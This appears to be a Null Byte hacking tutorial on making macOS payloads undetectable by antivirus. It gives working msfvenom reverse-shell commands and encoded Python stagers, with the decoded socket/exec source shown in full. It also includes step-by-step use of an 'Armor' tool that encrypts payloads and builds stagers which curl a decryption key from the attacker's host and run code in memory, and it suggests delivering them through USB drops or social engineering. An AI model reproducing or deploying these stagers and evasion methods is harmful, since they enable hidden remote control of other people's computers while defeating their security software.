Hacking macOS: How to Create an Undetectable Payload

How to Create an Undetectable Payload

Encrypting payloads and encoding stagers are more effective against macOS than one might think. Plus, it's very easy to evade VirusTotal and macOS antivirus software using a few simple tricks.

The goal of this project was to locate a known and easily detectable macOS payload, then find a method that allowed that very same payload to execute on the target MacBook. This would reliably confirm if any discovered evasion method was effective at executing known payloads. In addition to testing malicious files against VirusTotal, they were tested in macOS Mojave (v10.14) against popular antivirus software such as Avast, AVG, BitDefender, Sophos, and ClamXAV.

Readers shouldn't confuse this subject matter with bypassing GateKeeper or System Integrity Protections (SIP). Executing an unsigned application and evading virus scanners are two different topics. The focus of this article will be on evading the detection of antivirus software and VirusTotal. As we'll see below, in most cases, simply encoding a payload is enough to get around antivirus detection.

Base64 Encoding Basics

Encoding, as an antivirus evasion technique, is (generally) a very terrible idea as it's easily decoded and identified. However, encoding Python and Bash scripts is common practice in projects like Empire and msfvenom. It allows coders to execute complex scripts without worrying about escaping special characters which might cause a payload to break or fail.

Let's talk about base64 encoding for a minute and consider the below strings.

echo 'one' | base64
b25lCg==

echo 'one two' | base64
b25lIHR3bwo=

echo 'one two three' | base64
b25lIHR3byB0aHJlZQo=

echo 'one two three four' | base64
b25lIHR3byB0aHJlZSBmb3VyCg==

echo 'one two three four five' | base64
b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK

All of the strings can be easily decoded (-d in Kali, -D in macOS) using the below command.

base64 -d <<< 'b25lIHR3byB0aHJlZSBmb3VyIGZpdmUK'

Notice the end of the strings change subtly, while the beginning always appears the same. The same is true for most msfvenom payloads. If only the IP address and port number are changed, the beginning of the produced base64 encoded payloads will always be the same for every hacker and pentester using msfvenom. Below is an example created by msfvenom using the IP address "10.42.0.1."

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=

The below msfvenom output uses the same payload but with a different IP address of "192.168.0.2."

aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4yJyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==

No matter what IP and port are used, the first 142 characters are always identical when using this msfvenom payload. If not decoded and analyzed for nefarious code, it would at least seem reasonable for antivirus software to detect common base64 strings — but they don't.

Single Base64 Encoded Payloads

Believe it or not, finding a malicious file that VirusTotal and antivirus could detect was a challenge. After a bit of searching the internet for popular "hacking macOS" articles, a three-year-old Null Byte article from community member psytech140 offered a simple msfvenom payload. Executing the below command produced the following output.

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=4444

[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
Payload size: 446 bytes
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))

This is a base64 encoded Python one-liner designed to interact with Metasploit. Saving the one-liner to a file called "thisfileisevil.py" and uploading it to VirusTotal resulted in a 4/58 detection rate.

This detection rate is surprisingly low. Decoding the embedded base64 string clearly reveals the Python script is designed to connect to a remote server (10.42.0.1) on port 4444.

base64 -d <<< 'aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjQyLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo='

import socket,struct,time
for x in range(10):
	try:
		s=socket.socket(2,socket.SOCK_STREAM)
		s.connect(('10.42.0.1',4444))
		break
	except:
		time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
	d+=s.recv(l-len(d))
exec(d,{'s':s})

Saving the above decoded Python code to a file called "thisfileisevil_without_encoding.py" and uploading it to VirusTotal resulted in the following 1/56 detection rates.

Interestingly, the raw Python code received an even lower detection rate.

At this point, it's unclear exactly what VirusTotal and antivirus software is attempting to detect. They're not doing a great job of decoding base64 strings or flagging the 13 lines of Python generated by msfvenom that have undoubtedly been used thousands of times by different pentesters and hackers over the years.

Double Base64 Encoded Payloads

If a common encoded payload is capable of evading most antivirus software, double-encoding it should be an effective technique too, right? Well, not quite. Encoding the encoded msfvenom output and uploading it to VirusTotal resulted in the following 1/54 detection.

Again, 1/54 detection by Microsoft, which doesn't help any macOS using antivirus software. This was accomplished by first encoding the msfvenom output — the very same msfvenom payload that was previously detected.

cat thisfileisevil.py | base64

aW1wb3J0IGJhc2U2NCxzeXM7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHsyOnN0ciwzOmxhbWJkYSBi
OmJ5dGVzKGIsJ1VURi04Jyl9W3N5cy52ZXJzaW9uX2luZm9bMF1dKCdhVzF3YjNKMElITnZZMnRs
ZEN4emRISjFZM1FzZEdsdFpRcG1iM0lnZUNCcGJpQnlZVzVuWlNneE1DazZDZ2wwY25rNkNna0pj
ejF6YjJOclpYUXVjMjlqYTJWMEtESXNjMjlqYTJWMExsTlBRMHRmVTFSU1JVRk5LUW9KQ1hNdVky
OXVibVZqZENnb0p6RXdMalF5TGpBdU1TY3NORFEwTkNrcENna0pZbkpsWVdzS0NXVjRZMlZ3ZERv
S0NRbDBhVzFsTG5Oc1pXVndLRFVwQ213OWMzUnlkV04wTG5WdWNHRmpheWduUGtrbkxITXVjbVZq
ZGlnMEtTbGJNRjBLWkQxekxuSmxZM1lvYkNrS2QyaHBiR1VnYkdWdUtHUXBQR3c2Q2dsa0t6MXpM
bkpsWTNZb2JDMXNaVzRvWkNrcENtVjRaV01vWkN4N0ozTW5Pbk45S1FvPScpKSkK

It can be executed in the target MacBook with the following command.

python -c "$(printf '%s' 'ENCODED-PAYLOAD-HERE' | base64 -D)"

Here, printf and base64 are using the MacBook to decode (-D) the string and immediately executing the command (-c) with Python — which is again decoding the inner payload and creating a reverse TCP connection.

To my surprise, both VirusTotal and popular antivirus software is evaded this way. Not one tested antivirus software was able to detect a double-encoded payload in the form of a text file or an AppleScript.

Encrypted Payloads

So far, we've learned encoding and double-encoding payloads will evade the detection of most antivirus software (although, using raw code is better). Still, encoding scripts and payloads encourages a cat and mouse game between hackers and antivirus developers. It's only a matter of time before someone at AVG or Avast discovers this Null Byte article and antivirus scanners start recursively decoding base64 strings and looking for common encoded signatures.

This got me thinking about a more reliable method for defeating macOS antivirus; a solution that's a bit more difficult to detect and prevent. Encrypting the payload, in addition to encoding it, will provide a better solution to evade antivirus scanners.

Why Is Encrypting Better Than Encoding?

The primary downside to encoding is antivirus software's ability to continuously decode base64 strings and easily discover the embedded payload. No matter how many times an attacker encodes their payload, it can be reverse engineered. By encrypting the payload, antivirus software will ultimately find a string of unreadable data. The encrypted payload can't be scanned by AV software or read by humans — not without knowing the decryption key.

Which brings me to Armor, a simple shell script I created to illustrate how encrypting macOS payloads can be automated and executed.

How the 'Armor' Script Works

Armor will encrypt the contents of any file it's given. The file can contain a one-liner, a complex Python script with hundreds of lines of code, or a post-exploitation script written in any programming language supported by macOS. The file contents are encrypted with a one-time key. The key is then temporarily hosted on the attacker's server and downloaded by the target MacBook to decrypt the payload.

Below is an example of Armor being used with a simple Netcat payload.

There are a few things happening in this GIF. I'll explain each step in order.

A Netcat listener is started on port 4444. The "payload.txt" file is read and shown to contain a simple Bash one-liner that, when executed, will create a TCP connection between the target MacBook at the attacker's Netcat listener. Armor is used to encrypt the bash one-liner. Ncat is used to host the decryption key on the attacker's server. When the stager is executed in the target MacBook (not shown in the GIF), the bash one-liner is decrypted and executed without writing any data to the hard drive. Ncat immediately terminates the listener after the key has been used. When the Netcat connection is established, the attacker has remote access to the target MacBook.

For a technical explanation of what the script is doing and how it executes commands without writing data to the target's hard drive, head over to my GitHub page to view the comments. Readers interested in giving Armor a quick test run can follow along using the below steps.

Step 1: Install Armor

Armor can be found on my GitHub page and cloned using the below command.

git clone https://github.com/tokyoneon/Armor

Cloning into 'Armor'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (7/7), done.

Change (cd) into the newly create Armor/ directory.

cd Armor/

Then, give the armor.sh script permissions to execute.

chmod +x armor.sh

Step 2: Create the Payload

In my example GIF, a Bash one-liner is used to create a TCP connection, but let's simplify the attack by encrypting a trivial ls command.

Use the below command to create the payload.txt file.

echo 'ls -la' >/tmp/payload.txt

Step 3: Encrypt the Payload with Armor

Now, encrypt the payload.txt contents with Armor using the below command.

./armor.sh /tmp/payload.txt 1.2.3.4 443

                                    ..,co8oc.oo8888cc,..
	    o8o.                ..,o889689ooo888o"88888888oooc..
	  .8888               .o88886888".88888888o'?888888888889ooo....
	  a88P            ..c688869""..,"o888888888o.?8888888888"".ooo8888oo.
	  088P         ..atc8889"".,oo8o.86888888888o 88988889",o888888888888.
	  888t  ...coo688889"'.ooo88o88b.'86988988889 8688888'o8888896989^888o
	   888888888888"..ooo88896888888   "9o688888' "888988 8888868888'o88888
           ""G8889""'ooo88888888888889   .d8o9889""'   "8688o."88888988"o888888o .
		    o8888'"""""""""'     o8688"          88868. 888888.68988888"o8o.
		    88888o.              "8888ooo.        '8888. 88888.8898888o"888o..
	           "8888l '               "888888'          '""8o"8888.8869888oo8888o
     .;.      .;;;;;,.     ,'       ,,     .,;,'      ;;;;;,.  :."8888 "888888888^88o
     OM0      xWl::coK0.  .WM,     ;MW   ,KOlccxXd   'Mk::clkXc ..8888,. "88888888888.
    .WXM.     xW      K0  .WMK     KMW   Nk     ;M:  'M:     lM':o888.o8o.  "866o9888o
    lN.Xo     xW      OK  .WKWc   lWKW  .Wd     .Ml  'M:     ;M,:888.o8888.  "88."89".
    0k dX     xW      OK  .WodX. .NodW  .Wd     .Ml  'M:     ;M, 89  888888    "88":.
   'M; 'M,    xW      KO  .Wo.No dX dW  .Wd     .Ml  'M:     oM.     '8888o
   oN   Kx    xW.cccoKO.  .Wo cWlW: dW  .Wd     .Ml  'Mc;cclkXc       "8888..
   Xd   oN.   xW xWc'.    .Wo  KM0  dW  .Wd     .Ml  'M:,WO'.          888888o.
  ;Mc...:Mc   xW  0K.     .Wo  ,W'  dW  .Wd     .Ml  'M: cW:            "888889,
  OXlllllKK   xW  .KO     .Wo   '   dW  .Wd     .Ml  'M:  oN'       . : :.::::.: :.
 .Mo     cM,  xW   .Xd    .Wo       dW  .Wd     .Ml  'M:   dX.   created by @tokyoneon_
 oW.     .Wd  xW    'W:   .Wo       dW   XO     :M;  'M:    0O
 KO       xN  xW     :N,  .Wo       dW   .O0xodO0c   'M:    .Xk

 [+]  Generated encryption key: /root/Armor/payload.txt_5c6c.key
 [+]  Encrypted payload: /root/Armor/payload.txt_5c6c.enc
 [+]  Generated SSL certificate: /root/Armor/payload.txt_5c6c.crt
 [+]  Generated SSL key: /root/Armor/payload.txt_5c6c_ssl.key
 [+]  Saved stager: /root/Armor/payload.txt_5c6c_stager.txt

 [!] Execute in the target MacBook:

bash -c "$(bash -c "$(printf '%s' 'YjAxMjMyZTU2ZTFhNDAxMDFlY2FlNjlkPi9kZXYvbnVsbCAyPiYxOyBvcGVuc3NsIGVuYyAtZCAt
YWVzLTI1Ni1jYmMgCS1pbiA8KHByaW50ZiAnJXMnICdVMkZzZEdWa1gxL29jU0tsUkdIRmZncmd1
YjlLV3JJdFlORldvNGplMzVFZTVXbTNUVytpWnA1RlVLc1o2NXBjdGt6bkdyK0gxUUo5eUtrYk8v
MXhTUT09JyB8IGJhc2U2NCAtRCkgCS1wYXNzIGZpbGU6PChjdXJsIC1zIC0taW5zZWN1cmUgaHR0
cHM6Ly8weDBBMkEwMDAxOjQ0Myk=' | base64 -D)")";history -c

 [!] Start the Ncat listener now? y/N

 [!] Start Ncat listener:

The 1.2.3.4 address is the attacker's IP address where the decryption key will be hosted. This can be a local IP (e.g., "192.168.1.2") or a virtual private server address. The Ncat server will use this address and port number (443) to host the decryption key. Port 443 can be any available port in the attacker's Kali Linux system.

If LibreSSL (the version of OpenSSL used by macOS) isn't found in Kali, Armor will attempt to install it. The version of OpenSSL found in Kali/Debian isn't compatible with macOS' LibreSSL, unfortunately.

Step 4: Start the Ncat Listener

Before executing the stager, start the Ncat listener. Armor will attempt to start it automatically.

[+]  Ncat active for stager: payload.txt_e856...
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443

Step 5: Execute the Stager

Armor will produce an encrypted and encoded command intended for the target MacBook. This stager can be embedded into an AppleScript for USB drop attacks, used in USB Rubber Ducky attacks, or perhaps utilized in other social engineering attacks. For now, we'll just copy and paste the stager into a MacBook terminal.

When the stager is executed, the MacBook terminal will list (ls) all (-a) files in the current directory in long (-l) format.

We've encrypted a simple ls command, but imagine the possibilities when applying the same degree of obfuscation to a sophisticated Python script designed to execute a variety of advanced attacks. Antivirus software currently doesn't decode base64 strings — and even if they did, the embedded and encrypted payload couldn't be read.

Improving the Attack

Armor isn't perfect. It's somewhat of a proof-of-concept that readers will hopefully find ways of improving. An alternative to LibreSSL, for example, as most Debian and Kali distros don't have it installed by default, it's a bit inconvenient as an encryption solution.

Hosting the decryption key on the attacker's server is dangerous. If the attacker's IP address is discovered in the stager, it might be possible to enumerate the key's filename and download it. The key would allow the target to reverse engineer the encrypted payload and learn what kind of exploit was performed on the MacBook.

The use of UDP on port 53 to transmit the decryption key would more likely evade detection of firewalls and deep packet inspection (DPI) — making it that much more "undetectable."

Furthermore, finding a way to encrypt payloads that don't depend on the target being connected to the internet (to download the decryption key) would be most efficient.

Final Thoughts

After testing these attacks against VirusToal and at least six popular antivirus software, not one was able to detect a double-encoded payload. It seems macOS antivirus scanners are almost completely unable to identify even the most common single-encoded payloads. Detecting something created by Armor will prove to be much more challenging for today's macOS antivirus scanners.

Moreover, macOS relies too heavily on GateKeeper to prevent malicious applications from being opened. As shown in a previous article, GateKeeper protections aren't applied to USB drives inserted into the MacBook, so targets can be socially engineered into opening malicious files.

For proactively preventing such attacks, readers should check out "How to Protect Yourself from macOS Attacks."

Cover photo and screenshots by tokyoneon/Null Byte

1 Comment

Share Your Thoughts

  • Hot
  • Latest